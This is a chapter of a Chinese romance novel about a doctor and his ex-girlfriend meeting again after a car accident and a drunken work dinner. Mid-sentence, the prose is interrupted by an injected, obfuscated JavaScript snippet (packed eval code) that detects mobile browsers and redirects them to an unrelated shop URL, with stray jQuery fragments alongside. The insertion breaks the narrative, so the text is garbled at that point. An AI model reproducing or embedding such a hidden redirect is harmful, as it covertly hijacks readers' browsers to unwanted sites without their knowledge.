陈穿找了件还算干净的衣服换上,在落锁的那一刻,忍不住摸到了一旁铭刻着顾淮舟的名字的柜门。
他的私人衣物似乎总沁着一股淡淡的香味,可作为相处了快一年的室友,陈穿又清楚,以他的职业操守绝不会喷香水。偶尔提起来,顾淮舟也总是耐着性子努力回想,然后真诚地一句:“可能是家里阿姨换了新的洗衣液,你喜欢我帮你问一下。”
生活在不同阶级的人,连衣服的味道都各不相同。
保险公司的人很快赶到宜大门口,黎栎那辆二手小破车倒还经得住撞,她眼看着车子被拖走憋了一肚子气。
“你什么意思?”
顾淮舟加完那追尾的人的联系方式,黎栎的怒气在他耳边随着风一并飘散。
陈穿的消息恰到好处地发过来,两人手机都不约而同地弹进一条新消息。
【项目聚会,正好赵主任不在,去千鲤吧!】
“你们公司也去?”顾淮舟按灭手机屏幕,抬眸看了眼在回消息的黎栎。
“你能不能别逃避话题?”黎栎昂着头,为了开车她特意换下了高跟鞋,比顾淮舟矮不少,她又回到这样需要仰视她的位子,这让她的委屈和不甘都涌到了心头。
顾淮舟不知哪里又惹到这大小姐了,也停下脚步,转身对向她:“逃避这个词用来形容我,不太贴切吧,黎小姐?”
她知道他意指三年前自己的突然离开,却无心和他讨论自己的过错。落日的余晖渐渐消散,风起了,黎栎不得不拢过自己有些杂乱的卷发,她红了红脸,坚难启齿把话题重新迁回来:“那个称呼……是能随便用的吗?”
被你女朋友知道,我可担不起。不知是什么心理作祟,后半句,她没说。
“为这事?”顾淮舟嘴角噙了一丝自嘲的笑,“别多想,我是看对面欺负你个女生帮你解围。事实证明,假装夫妻比你自己交涉快多了。”
“成年人都注重效率不是吗?”
黎栎嗯了一声,她的表情迅速冷下来,扔下一句话后便头也不回地离开。
“确实,你一惯对这种称呼不在乎。”
神外和灵远的几个年轻人看到的,就是两个黑着脸一前一后走进包间的俊男靓女。不知谁打趣了一句,“简直是可以做合体走秀了”,而被提到的人既无谦虚打趣,也没顺着反夸回去。只留得人干笑几声,迅速把目光挪开。
黎栎一眼便看到坐在小关总旁边的艾米,这机会倒是真让她哭来了。
“栎栎,快过来,你从医院过来怎么那么久呀,可不能像在公司一样摸鱼。”
她瞥了一眼艾米,踏过她那双修长笔直的腿,径直看向一旁气定神闲的小关总。
“关总,这是赵教授嘱咐我要交给您的,说是对我们的项目很有参考性。”
小关总也是名校医科出身,平时打打闹闹不在话下,但为了跟家里证明,真关系到业务却绝对不会含糊。他收回放在艾米腿边的手,翻了几下就知含金量。
“跟赵教授处得不错啊?”
黎栎笑了笑,算是应下来:“刚送他去了机场。”
小关总点点头,立刻招呼服务生帮黎栎点酒。“前期资料收集地那么好,才能让天翼进展得如此顺利,Helena是功臣啊,咱们灵远的人必须敬她一杯怎么样?”
黎栎这一年在灵远和众人关系处得不错,对于她一个非医科生能打好辅助要付出多少时间精力大家也都心里有数。各色各样的鸡尾酒不断地举起又落下,她难得地多喝了几杯。包间里的温度瞬间被酒精点燃,不少人都开始脱衣服,除了艾米和坐在更远处的顾淮舟。
他倒不是像艾米一样没得脱,或许是滴酒未沾让他还带了丝门外的冷冽。小关总适时地注意到神外的人的兴致缺缺,立刻端起酒杯起身。
“都说名师出高徒,听说陈医生和顾医生今年都上手术台了,真是年轻有为啊!”
陈穿硕博都是自己努力考的,到现在其实也称不上年轻二字了,只是跟着赵教授也算能摸到这学科的门。他摸着后脑勺笑了一声,明天他调休,干脆也放开了畅饮,还贴心地替顾淮舟打圆场:“淮舟他前几天感冒了,可能还在吃药呢。”
小关总也不是那些商场老油子,寒暄着注意身体便离开了。
酒过半巡,艾米突然开口:“我们来玩真心话大冒险吧?”
“这也太老土了,不玩不玩。”
艾米撒着娇看向小关总,她特意画过的妆容在包间氛围灯的照射下格外迷人,嘴角沾一丝鸡尾酒的余韵,更显娇艳欲滴。
小关总流连声色惯了,无论如何是说不出拒绝的话的,他干咳了几声,冲在场另一位稍年长些的医生说:“让各位白衣天使见笑了,咱们就点到为止,觉得冒犯随时停好吧?难得有个空闲的时间,往后还不知忙成什么样呢,就当是破冰了,以后合作起来更愉快……”
话说到这份上,自然也不好再推拒。不知谁拿了个酒瓶子上来,艾米捏起自己新做了美甲的手指,轻轻一转。
刚好落在始终一言不发的顾淮舟的方向。
“真心话吧,懒得动了。”
“我来我来!”艾米举起手扫射四周,“你们没什么想问的吧——顾医生这么帅,以前很多人追吧,有没有哪几个是特别念念不忘的,说来给我们听听!”
顾淮舟斜倚在包间沙发的一侧,手中那杯柠檬水喝过一口后便一直在他指尖转着,水波流动,几欲倾倒出来却始终保持着平衡。他在桌上轻轻一置,两手交叉放在翘起的膝盖上。
“我只谈过一次恋爱。”
“失陪一下。”
艾米嘴里喊着“没劲!”失望地垂下眼帘,小关总嗔怪地说她小人之心,胡乱揣测把顾淮舟都给吓跑了。
“你以为是你啊,加州谁没听说过艾米这夜店小公主的名号。”灵远的人哄笑成一团,无人看到黎栎推过一排龙舌兰仰头一杯一杯灌了进去。
也对,她曾经那样不告而别,任谁都不会想在众人面前承认,自己曾被她这样的人玩弄于股掌中吧。能被顾淮舟这样光风霁月的人拿得出手的女朋友,应当是那个在医院地下出库见到的明媚的女孩子才对。
小关总和艾米都是留过美的,在千鲤玩完还打算搞第二场。灵远的人大多是搞技术的,能有个早下班的机会谁会愿意陪着老板熬夜。黎栎趁机拿起手包也跟着溜了出去。
人不动墙动,墙不动人动。
黎栎默念着扶上走廊,新贴的壁砖让她几乎在触碰的一瞬间就醒了大半,冷意顺着指尖传至心头。她掀起眼帘,酝起的水光不知是酒气染的还是门外的风灌得。黎栎看清门口一直站着的背影,是顾淮舟。
还以为他看不惯艾米的玩法早就走了,居然待到了现在。三年不见,自己越来越不懂他了。
“我送你。”
黎栎收回胳膊,摇了摇头,栗色长发缠在她的肩颈,乱作一团。
“你车是为了送我导师被撞的,我不至于这点修养没有,上车。”
顾淮舟的语气不容置疑,他直接把车子停在门口,朝身后的位置歪了歪头。见黎栎没有动身的意思,直接上前捏住她的肩膀,往车旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136108|196290||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边带。
“放手,你弄疼我了!”
黎栎的声音里掺几分醉意,尾音长而绵,顾淮舟低头一看,她腕上已起了淡淡的红印,只好把她扶在车门上。
“你醉成这样,不坐我的车,难道更愿意相信出租车司机,嗯?”他拧眉低头,追着她不断闪躲的眼神,黎栎败下阵来,在顾淮舟绕到驾驶座时去拉后座的车门。
“真把我当司机呢,过来。”
真够凶的,黎栎慢吞吞地挪到副驾,手朝后伸了几次都够不到安全带,反倒是头发缠作一团。她烦躁地胡乱扯着,忽地眼前一暗,顾淮舟整个人倾过来帮她扣紧锁扣。
“酒量不行跟人学什么?”
顾淮舟不是看不出来艾米言语间对黎栎的针对,只是他一贯觉得,她不像是为了点口舌之争会去拼酒的德行。此刻见她一身酒气,难免忍不住数落几句。
话音刚落,才意识到自己早已没了这个身份。车子启动,发动机燃烧尽车厢内的尴尬。
“那是因为你女朋友太矮,座位太靠前——”
一个急刹,黎栎径直撞到遮光板上,她抚着额角埋怨地看向左边,顾淮舟正玩味地看着她:“你又发什么疯呢黎栎?”
黎栎也不知哪来的胆量,她理智不断地提醒自己,分手已经是三年前的事了,她这样蔫酸夹醋真的很不体面。可话到嘴边,仍旧是不肯低头:“本来就是啊,上次在地下车库见到的,她比我矮不少呢……”
顾淮舟闻言冷笑出了声,他把车子停在路边,冷呵一句:“下车。”
车门一开,立刻灌进一团秋风,黎栎风衣内穿着短裙,这一冻,把她彻底冻清醒了。
“对不起。”
“这又是为什么?黎栎,你是不是觉得出车祸这事很好玩,一天连续弄两起你才罢休?”
黎栎刚燃起的一点对陌生女孩恶意的愧疚,一瞬间便因顾淮舟的傲慢烟消云散,她松开裹在胸前的风衣,仰着头看他:“所以你也觉得下午那是我的错?”
“说什么假装夫妻怕我被欺负,其实不过就是觉得我处理起来耽误你时间罢了。既然如此,顾医生也不必相送了,我自己做的事我自己承担。”
顾淮舟怒极反笑,他一向说不过她,手扶在腰带处踱了几下,还是叩住车窗:“在你眼里我就是这么不尊重你?”
“那我干脆放你任人调戏我不是更畅快吗。”
黎栎在他躲闪不得的盯视下缩了缩脖子,她瞥向别处,说:“对不起,我不该这样说你女朋友,本来,我才是那个不该搭你车的人。”
风越来越大,黎栎的头发有几缕卷到了顾淮舟的手上,他被她醉酒后跳来跳去的思维彻底搞崩溃了,任命地点了点头。
他掏出手机,三两下按通免提。
对面很快有了声音,一句含了困意的“喂……”吓得黎栎捂紧了嘴巴。她自小学小提琴,对声音敏感得很,一听便知是那天在地下车库里的女孩。她可不想被人认为是在偷情。
“顾云帆,你干嘛呢?”
“啧,叫姐,还能干嘛,大半夜的——”
顾淮舟挂断电话,他冲靠在车门上的黎栎挑了挑眉。黎栎不断眨着眼睛,酒后的头痛让她回忆起来格外慢。顾淮舟好像是有一个堂姐,一直住在国外。
“现在是不是轮到我了?”
他收起那份看黎栎尴尬的嘲弄,眉眼皆带了一丝冷意。
顾淮舟重新扶在车窗上,手肘屈起,整个人压上来。
“你明知道我在宜大医学院,故意和我室友相亲,什么意思。嗯?”